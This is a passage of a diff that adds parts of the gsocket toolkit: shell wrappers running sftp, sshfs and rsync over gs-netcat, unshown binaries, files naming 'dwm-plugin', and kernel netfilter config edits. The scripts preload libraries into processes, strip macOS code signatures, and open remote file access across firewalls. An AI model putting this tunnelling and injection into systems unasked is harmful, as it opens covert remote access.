# A hack around this is to remove the signature completed (which will also disable
# any entitlements).
IS_REMOVE_SIGN=1
command -v csrutil >/dev/null && [[ ! "$(csrutil status)" =~ enabled ]] && { unset IS_REMOVE_SIGN; }
[[ -n $IS_REMOVE_SIGN ]] && command -v codesign >/dev/null && [[ -n "$(codesign -d --entitlements - "${PROGBIN}" 2>/dev/null)" ]] && {
codesign --remove-signature "${PROGBIN}";
}
else
ROOTDIR=""
PROGBIN="${1}"
fi
env_arg_init
shift 1
if [[ "$OSTYPE" == "darwin"* ]]; then
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" DYLD_INSERT_LIBRARIES=${GS_SO_BIN} DYLD_FORCE_FLAT_NAMESPACE=1 exec "${PROGBIN}" "$@"
else
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" LD_PRELOAD=${GS_SO_BIN} exec "${PROGBIN}" "$@"
fi
+1
View File
@@ -0,0 +1 @@
dwm-plugin
+1
View File
@@ -0,0 +1 @@
dwm-plugin
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
gsocket_dso.so.0
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
gsocket_uchroot_dso.so.0
Binary file not shown.
Binary file not shown.
+389
View File
@@ -0,0 +1,389 @@
#! /usr/bin/env bash
[[ $(basename -- "$0") == "gs_funcs" ]] && { echo "Use gsocket, gs-netcat, gs-sftp, gs-mount or blitz instead."; exit 1; }
# Find a sftp-server binary
find_binary()
{
bin=$1
command -v "${bin}" && { echo "${bin}"; return; }
shift 1
for dir in "$@"; do
file="${dir}/${bin}"
if [[ -f "$file" ]]; then
echo "${file}"
return
fi
done
echo ""
return
}
read_password()
{
echo -n >&2 "${GS_PRFX}Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# haystack1 haystack2 needle
ucheck_fail()
{
[[ "$1" =~ $3 ]] || { echo >&2 "Symbol $3 not found in sftp-server."; exit 255; }
[[ "$2" =~ $3 ]] || { echo >&2 "Symbol $3 not found (2)."; exit 255; }
}
test_sftp()
{
echo "${1}" | ./gs-sftp -k id_sec.txt -wq 2>&1 | grep -c "Permission denied"
}
first_symbol()
{
for func in "$@"; do
if [[ "$sym_sftp" =~ $func ]]; then
echo "$func "
return
fi
done
echo ">>>$*-NOT-FOUND<<< "
}
uchroot_check_sym()
{
command -v nm >/dev/null 2>&1 || { echo >&2 "chroot failed (nm not found. apt-get install binutils?). Try -U to disable."; exit 255; }
# Extract symbols from .so and sftp-server binary
if [[ "$OSTYPE" == "darwin"* ]]; then
# on OSX remove the starting "_" from symboles
sym_sftp="$(nm -pu "${SFTP_SERVER_BIN}" | sed 's/^_//g')"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T " | sed 's/^_//g')"
elif [[ "$OSTYPE" == "solaris"* ]]; then
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T ")"
else
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -D "${UCHROOT_BIN}" | grep " T ")"
fi
[[ -n "$sym_uchr" ]] || { echo >&2 "chroot self-test failed (nm bad1). Try -U to disable."; exit 255; }
[[ -n "$sym_sftp" ]] || { echo >&2 "chroot self-test failed (nm bad2). Try -U to disable."; exit 255; }
funclist+=$(first_symbol lstat\$INODE64 __lxstat64 __lxstat lstat64 lstat)
funclist+=$(first_symbol stat\$INODE64 __xstat64 __xstat stat64 stat)
funclist+=$(first_symbol opendir\$INODE64 opendir64 opendir)
funclist+=$(first_symbol open64 open)
if [[ ! "$OSTYPE" == "solaris2.10"* ]]; then
# On solaris 10 the stock OpenSSH install does not use statvfs64 (older version)
funclist+=$(first_symbol statvfs64 statvfs)
fi
[[ "${funclist}" =~ "NOT-FOUND"* ]] && { echo >&2 "Missing symbol...${funclist}"; exit 255; }
funclist+="chmod link mkdir rename rmdir symlink unlink"
# echo "funclist = $funclist" # DEBUG
for func in ${funclist}; do
ucheck_fail "${sym_sftp}" "${sym_uchr}" "${func}"
done
}
failed()
{
echo >&2 "ERROR: Self test failed: $1. Try -U to disable."
exit 255
}
# Verify that all symboles will get hijacked. exit on failure.
# linux osx solaris
# sftp -Du -pu -Du
# .so -D|T -p|T -p|T
uchroot_check()
{
local VALID_CMD
local FAIL_CMD
# skip nm-style symbol check on cygwin
# (sftp-server does not like nm on cygwin?!)
if [[ x"$OSTYPE" != "xcygwin"* ]]; then
# NOT cygwin
uchroot_check_sym
fi
# Run a self test (sftp -D sftp-server)
command -v sftp >/dev/null 2>&1 || { failed "sftp not found"; }
mkdir -p "${ROOTDIR}/ok"
mkdir -p "${ROOTDIR}/denied"
# echo "ROOTDIR=${ROOTDIR}" # DEBUG
echo hello exist-allowed.txt >"${ROOTDIR}/ok/exist-allowed.txt"
echo hello exist-denied.txt >"${ROOTDIR}/denied/exist-denied.txt"
dd if=/dev/urandom bs=1k count=1 2>/dev/null >"${ROOTDIR}/ok/test1k.dat"
echo "\
#! /bin/bash
cd \"${ROOTDIR}\"/ok
${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]}" >"${ROOTDIR}/sftp-server.sh"
chmod 755 "${ROOTDIR}/sftp-server.sh"
# Run GOOD commands that should work
VALID_CMD="
mkdir dir1
cd dir1
cd ..
cd dir1
cd ../
ls ${ROOTDIR}/ok
ls ${ROOTDIR}/ok/exist-allowed.txt
put test1k.dat dir1
mkdir ./dir2/
"
[[ $(cd "${ROOTDIR}/ok"; echo "$VALID_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 0 ]] || { failed "valid cmd 0"; }
[[ -d "${ROOTDIR}/ok/dir1" ]] || { failed "valid-cmd 1"; }
[[ -d "${ROOTDIR}/ok/dir2" ]] || { failed "valid-cmd 2"; }
[[ -f "${ROOTDIR}/ok/dir1/test1k.dat" ]] || { failed "valid-cmd 3"; }
FAIL_CMD="
rename exist-allowed.txt ../denied/0wned.txt
mkdir ./dir1/../../denied/0wned
cd dir1/../../denied
cd ./../denied
ls ${ROOTDIR}
cd ${ROOTDIR}
cd ${ROOTDIR}/denied
cd ${ROOTDIR}/ok/../denied
rm ./../denied/exist-denied.txt
put test1k.dat ../denied/0wned.dat
put test1k.dat ../denied/exist-denied.txt
rename exist-allowed.txt ../denied/0wned.txt
rename exist-allowed.txt /0wned.txt
"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 13 ]] || { failed "fail cmd (2)"; }
FAIL_CMD="
ls dir1/../../denied
ls ./../denied/exist-denied.txt"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "not found") -eq 2 ]] || { failed "fail cmd (3)"; }
rm -rf "${ROOTDIR}/ok" &>/dev/null
rm -rf "${ROOTDIR}/denied" &>/dev/null
rm -rf "${ROOTDIR}/sftp-server.sh" &>/dev/null
}
gs_find_so_single()
{
[[ -e "${1}/${2}" ]] && { echo "$(cd "${1}" || exit; pwd)""/${2}"; }
}
arrayContains()
{
local e match="$1"
shift
for e; do [[ "$e" == "$match" ]] && return 0; done
return 1
}
# Search for the dynamic shared object file.
# 1. Try $basedir
# 2. Try ${basedir}/../lib
# 3. Try /usr/lib
# 4. Try /usr/local/lib
# Return absolute path to DSO.
gs_find_so()
{
local DL=("${BASEDIR}")
# Debian packaging requires libs in /usr/lib/x86_64-linux-gnu :/
if command -v dpkg-architecture &>/dev/null; then
DL+=("/usr/lib/$(dpkg-architecture -qDEB_HOST_MULTIARCH)")
fi
DL+=("${1}/lib") # This is either GS_PREFIX/lib or BASEDIR/../lib
arrayContains "/usr/lib" "${DL[@]}" || DL+=("/usr/lib")
arrayContains "/usr/local/lib" "${DL[@]}" || DL+=("/usr/local/lib")
for dir in "${DL[@]}"; do
res=$(gs_find_so_single "${dir}" "${2}")
[[ -z "$res" ]] || { echo "$res"; return; }
done
}
gs_init()
{
GS_NETCAT_BIN="gs-netcat"
BIN="${BASEDIR}/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SFTP_BIN="${BASEDIR}/gs-sftp"
EXE=""
if [[ "$OSTYPE" == "cygwin"* ]]; then
EXE=".exe"
fi
# To find sftp-server and DSO's in PREFIX/lib
PREFIX="$GS_PREFIX"
[[ -z "$PREFIX" ]] && PREFIX="$(cd "$(dirname "${0}")/../" || exit; pwd)"
# on OSX the dl-files are called .bundle (not .dylib) but it is generally
# accepted to call them .so. OSX keep those is /System/Library/gsocket
# but automake insists on ${PREFIX}/lib
UCHROOT_BIN=$(gs_find_so "$PREFIX" "gsocket_uchroot_dso.so.0${EXE}")
[[ -z "$UCHROOT_BIN" ]] && { echo >&2 "gsocket: gsocket_uchroot_dso.so.0${EXE} not found. Try 'apt install dpkg-dev'."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SO_BIN=$(gs_find_so "$PREFIX" "gsocket_dso.so.0${EXE}")
[[ -z "$GS_SO_BIN" ]] && { echo >&2 "gsocket: gsocket_dso.so.0${EXE} not found."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
BIN_NAME="$(basename "${0}")"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
}
usage()
{
echo "
-l Server Mode.
-R Server in read-only mode.
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
Example:
$ ${1} -s MySecret -l # Server
$ ${1} -s MySecret # Client
See 'gs-netcat -h' for more options."
}
do_getopt()
{
OPTERR=0
FL_NEED_PASSWORD=1
IS_UCHROOT=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhURgls:k:L:" opt; do
case ${opt} in
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage
;;
q )
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
l )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
R )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_READONLY=1
SFTP_ARGS[${#SFTP_ARGS[@]}]="-R"
;;
U )
unset IS_UCHROOT
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
# Solaris 10 problems:
# - stock sftp-server does not allow -p <whitelist> -> Acceptable risk
# - LD_PRELOAD does not seem to work. Does anyone still use solaris10?
if [[ "$OSTYPE" == "solaris2.10"* ]]; then
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot not (yet) supported on solaris 10."
unset IS_UCHROOT
fi
}
env_arg_init()
{
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
# shellcheck disable=SC2034 # GSOCKET_SECRET appears unused => It's used in 'gs'
GSOCKET_SECRET="${password}"
echo "${GS_PRFX}=Secret : ${password}"
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
# Have to output it here because gs-netcat might be started from withing
# sshfs or sftpd where stderr is no longer available to gs-netcat
[[ -n "$IS_QUIET" ]] || echo >&2 "${GS_PRFX}=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
}
sftp_server_start()
{
# SERVER
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gs-sftp)
# FIXME: temp file only cleaned on reboot. Hmm...
cp /usr/libexec/sftp-server "${ROOTDIR}/sftp-server" &>/dev/null
SFTP_SERVER_BIN="${ROOTDIR}/sftp-server"
PRELOAD="DYLD_INSERT_LIBRARIES=${UCHROOT_BIN} DYLD_FORCE_FLAT_NAMESPACE=1"
else
if [[ -n "${IS_UCHROOT}" ]]; then
ROOTDIR=$(mktemp -d -t thc-gs-sftp-XXXXXXXXXXXXXXX)
fi
SFTP_SERVER_BIN=$(find_binary "sftp-server${EXE}" "${PREFIX}/lib" /opt/csw/libexec /usr/lib /usr/local/lib /usr/libexec /usr/libexec/openssh /usr/lib/ssh /usr/sbin)
PRELOAD="LD_PRELOAD=${UCHROOT_BIN}"
fi
[[ -z "${SFTP_SERVER_BIN}" ]] && { echo >&2 "sftp-server binary not found."; exit 1; }
# SFTP_ARGS[${#SFTP_ARGS[@]}]="-l"
# SFTP_ARGS[${#SFTP_ARGS[@]}]="DEBUG3" # tail /var/log/auth.log | grep 'Refusing non-whitelisted'
# Whitelist of commands sftp-server should allow (most are not needed
# by sftp but for sshfs)
# *** WARNING ***: If you add a string here you also must make sure that
# gsocket_uchroot_dso checks the command for uchroot-escape.
SFTP_ARGS[${#SFTP_ARGS[@]}]="-p"
SFTP_ARGS[${#SFTP_ARGS[@]}]="open,opendir,mkdir,remove,rmdir,symlink,hardlink,stat,posix-rename,statvfs,setstat,fsetstat,fstat,lstat,readdir,realpath,write,read,close"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
if [[ -n "${IS_UCHROOT}" ]]; then
[[ -z "${ROOTDIR}" ]] && { failed "(mktemp)"; }
uchroot_check
# Try to delete temporary directory. OSX still has sftp-server bin in there and must be deleted
rmdir "${ROOTDIR}" &>/dev/null
else
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot disabled. Allowing access to *ALL* files on this host."
unset PRELOAD
fi
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]} 2>/dev/null"
}
@@ -980,7 +980,7 @@ CONFIG_NFT_CT=m
CONFIG_NFT_LOG=m
CONFIG_NFT_LIMIT=m
CONFIG_NFT_MASQ=m
# CONFIG_NFT_REDIR is not set
CONFIG_NFT_REDIR=m
CONFIG_NFT_NAT=m
# CONFIG_NFT_TUNNEL is not set
# CONFIG_NFT_QUOTA is not set
@@ -1065,7 +1065,7 @@ CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
# CONFIG_NETFILTER_XT_MATCH_NFACCT is not set
# CONFIG_NETFILTER_XT_MATCH_OSF is not set
# CONFIG_NETFILTER_XT_MATCH_OWNER is not set
CONFIG_NETFILTER_XT_MATCH_OWNER=m
# CONFIG_NETFILTER_XT_MATCH_PHYSDEV is not set
# CONFIG_NETFILTER_XT_MATCH_PKTTYPE is not set
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
+8
View File
@@ -0,0 +1,8 @@
# Global gsocket.conf file.
# This file is first looked for in /etc/gsocket.conf
# and then in /usr/etc/gsocket.conf
GS_PREFIX=/usr
+164
View File
@@ -0,0 +1,164 @@
#!/usr/bin/env bash
# A wrapper script to do this (esentially):
# Server:
# $ gs-netcat -s MySecret -l -e "/usr/bin/rsync --server -vlogDtpr --partial ."
# Client:
# $ rsync -aP -e "gs-netcat -s MySecret --" test4k.dat 127.1:.
GS_NETCAT_BIN="gs-netcat"
RSYNC_SERVER_DEFAULTS="--server -logtprR --safe-links --partial"
# -D special devices
# -g preserver group (may need root)
# -p preserve permissions
# -r recursive into directories
# -R use relative path names
# If client uses '-a' then server must use '-g'
# If client uses '-R' then server must use '-R'
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -logDtprRe.iLsfxCIvu --partial"
RSYNC_CLIENT_DEFAULTS="-ahPRv"
# Try to use the gs-netcat that's in the same path as this binary first.
BIN="$(cd "$(dirname "${0}")" || exit; pwd)/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
command -v rsync >/dev/null 2>&1 || { echo >&2 "rsync not found. Try 'apt-get install rsync' or check PATH=?"; exit 1; }
usage()
{
echo "blitz [-k file] [-s password] [-l] [FILES ...]
-l Server Mode.
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
-f <list> Read list of file names from FILE [or - for stdin]
-o RSOPT=val Options passed to rsync.
Example:
$ blitz -s MySecret -l # Server
$ blitz -s MySecret *.dat # Client
...limiting transfer rate to 10kB/sec
$ blitz -s MySecret -o 'RSOPT=--bwlimit=10 -v' /etc/*.conf *.dat
...reading the file list from standard-in
$ cd /etc
$ find . -name '*.mp3' | blitz -s MySecret -f -
...limit the amount of path information by inserting a dot and slash
$ blitz -s MySecret ~/tools/./upx/mp3
See 'man gs-netcat' and 'man rsync' for more options."
exit 0
}
read_password()
{
printf >&2 "Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# remove -o from parameter list.
# Remove -s/-k from parameter list
# Copy all other
OPTERR=0
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# Current options are options for gs-netcat followed by a list of files. We
# need to split off the gs-netcat options (all but -o/-s/-k) without the
# files. To do so we need to know which gs-netcat options takes an argument
# at add those to getopts's optstring (such as -L <logfile>).
# These are caught by '*'.
# All single options (e.g. -w etc) are caught by '\?'.
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":hgls:k:o:L:f:" opt; do
case ${opt} in
o )
RSYNC_ARGS+=${OPTARG//RSOPT=/}
RSYNC_ARGS+=" "
;;
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
usage
;;
f )
RSYNC_ARGS+="--files-from=${OPTARG} . "
IS_FILES_FROM=1
;;
l )
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
shift $((OPTIND -1)) # list of files...
# echo "Remaining (files): $*"
[[ -z $* ]] && [[ -z $IS_FILES_FROM ]] && { echo >&2 "ERROR: No files specified."; usage; }
[[ -n $* ]] && [[ -n $IS_FILES_FROM ]] && { echo >&2 "ERROR: Either -f FILE or FILES, but not both."; usage; }
fi
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
# Must read here unless -s/-k was used
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
echo "=Secret :\"${password}\""
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
echo "=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
# echo $OPTIND
# echo args-new : ${ARGS_NEW[@]}
# echo gsnc-env-args : \'${GSNC_ENV_ARGS[@]}\'
# echo rsync-args : ${RSYNC_ARGS}
if [[ -n ${IS_SERVER} ]]; then
# SERVER
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "rsync ${RSYNC_SERVER_DEFAULTS} ${RSYNC_ARGS} ."
else
# CLIENT
ARGS=" -q"
# ARGS=""
[[ -n ${ARGS_NEW[*]} ]] && ARGS+=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec rsync ${RSYNC_CLIENT_DEFAULTS} -e "${GS_NETCAT_BIN}${ARGS} --" ${RSYNC_ARGS} "${@}" 127.1:.
fi
+53
View File
@@ -0,0 +1,53 @@
#! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sshfs -o ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions -o ssh_command="gs-netcat --" -o idmap=user,uid="${UID}",gid="$(id -g)" x@127.1:. ~/gs-fs
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l] [mount point]"
usage "${BIN_NAME}"
exit 0
}
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
SSHFS_OPT="ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions,idmap=user,uid=${UID},gid=$(id -g)"
# echo "Remaining (files): $*"
[[ -z "${1}" ]] && { echo >&2 "ERROR: No directory (mount point) specified."; my_usage; }
command -v sshfs >/dev/null 2>&1 || { echo >&2 "sshfs not found. Try 'apt-get install sshfs' or check PATH=?"; exit 1; }
# FUSE_OPT=",cache=yes,kernel_cache"
FUSE_OPT=""
if [[ "$OSTYPE" == "darwin"* ]]; then
# Setting 'noapplexattr' prevents 'finder' from copying.
FUSE_OPT+=",async,local,iosize=65536,noappledouble,volname=THC-"$(basename "${1}")
fi
fi
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" sshfs -o "${SSHFS_OPT}${FUSE_OPT}" -o ssh_command="${GS_NETCAT_BIN}${ARGS} --" x@127.1:. "${1}" || exit 1
echo "Successfully mounted on ${1}."
command -v fusermount >/dev/null 2>&1 && echo "To unmount use: fusermount -zu ${1}"
fi
BIN
View File
Binary file not shown.
+38
View File
@@ -0,0 +1,38 @@
#! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sftp -D gs-netcat # Workstation
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l]"
usage "${BIN_NAME}"
exit 0
}
command -v sftp >/dev/null 2>&1 || { echo >&2 "sftp not found. Try 'apt-get install openssh' or check PATH=?"; exit 1; }
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}${ARGS}" exec sftp -D "${GS_NETCAT_BIN}"
fi
+135
View File
@@ -0,0 +1,135 @@
#! /usr/bin/env bash
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
